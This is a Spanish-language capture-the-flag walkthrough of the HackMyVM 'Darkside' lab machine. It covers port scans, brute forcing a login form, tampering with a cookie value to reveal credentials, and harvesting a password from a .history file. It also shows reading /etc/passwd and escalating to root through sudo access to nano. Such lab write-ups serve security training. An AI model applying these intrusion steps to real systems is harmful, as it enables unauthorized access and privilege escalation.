HackMyVM - Darkside
- Brute Force Login Form
- Password Leaking
- Abuse Nano Binary - Sudo Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
| 256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_ 256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: The DarkSide
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
En el puerto 80 veo un panel de login.
Fuerza bruta de directorios al puerto 80.
Con el navegador visito el directorio backup.
Archivo vote.txt
enumero el usuario kevin.
Configuro owasp-zap para realizar fuerza bruta al panel de loguin con el usuario kevin.
Encuentro la contraseña de kevin.
Ingreso las credenciales y veo el siguiente mensaje.
La siguiente cadena esta codificada en base58 y base64.
Con el navegador visito sfqekmgncutjhbypvxda.onion
Inspeccionando el código fuente veo lo siguiente, si la cookie side tiene el valor darkside, redirige al usuario a hwvhysntovtanj.password
.
Sabiendo esto abro el cookie-quick-manager y cambio el valor whiteside por darkside y guardo los cambios.
Refresco la página y obtengo las credenciales del usuario kevin.
Accedo al sistema.
❯ ssh kevin@192.168.1.15
kevin@192.168.1.15's password:
Linux darkside 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64
kevin@darkside:~$ ls
user.txt
Enumero usuarios mediante el fichero passwd.
kevin@darkside:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
kevin:x:1000:1000:kevin,,,:/home/kevin:/bin/bash
rijaba:x:1001:1001:,,,:/home/rijaba:/bin/bash
Al listar los archivos ocultos del home veo el archivo .history
.
kevin@darkside:~$ ls -la
total 40
drwxr-xr-x 4 kevin kevin 4096 Oct 31 13:45 .
drwxr-xr-x 4 root root 4096 Oct 15 13:19 ..
lrwxrwxrwx 1 kevin kevin 9 Oct 30 08:41 .bash_history -> /dev/null
-rw-r--r-- 1 kevin kevin 220 Oct 15 12:54 .bash_logout
-rw-r--r-- 1 kevin kevin 3526 Oct 15 12:54 .bashrc
drwx------ 3 kevin kevin 4096 Oct 31 14:06 .gnupg
-rw-r--r-- 1 kevin kevin 113 Oct 15 13:37 .history
drwxr-xr-x 3 kevin kevin 4096 Oct 15 13:37 .local
-rw-r--r-- 1 kevin kevin 807 Oct 15 12:54 .profile
-rw-r--r-- 1 kevin kevin 19 Oct 15 13:38 user.txt
-rw-r--r-- 1 kevin kevin 215 Oct 31 13:58 .wget-hsts
Con cat visualizo el contenido de .history
y encuentro la contraseña del usuario rijaba.
kevin@darkside:~$ cat .history
echo "Congratulations on the OSCP Xerosec"
top
ps -faux
su rijaba
I*********a
ls /home/rijaba
User pivoting a rijaba.
kevin@darkside:~$ su rijaba
Password:
rijaba@darkside:/home/kevin$ id
uid=1001(rijaba) gid=1001(rijaba) groups=1001(rijaba)
Enumero permisos de sudo.
rijaba@darkside:~$ sudo -l
Matching Defaults entries for rijaba on darkside:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rijaba may run the following commands on darkside:
(root) NOPASSWD: /usr/bin/nano
Con gtfobins-cli
me muestra como obtener el root con nano.
^R = ctrl+R
.
^X = ctrl+X
.
Al pulsar enter obtengo el root pero se ve mal la terminal, con un simple clear se soluciona.
Lanzo un source /etc/skel/.bashrc
para dar color a mi terminal.
Y aquí termina la máquina Darkside.
Saludos!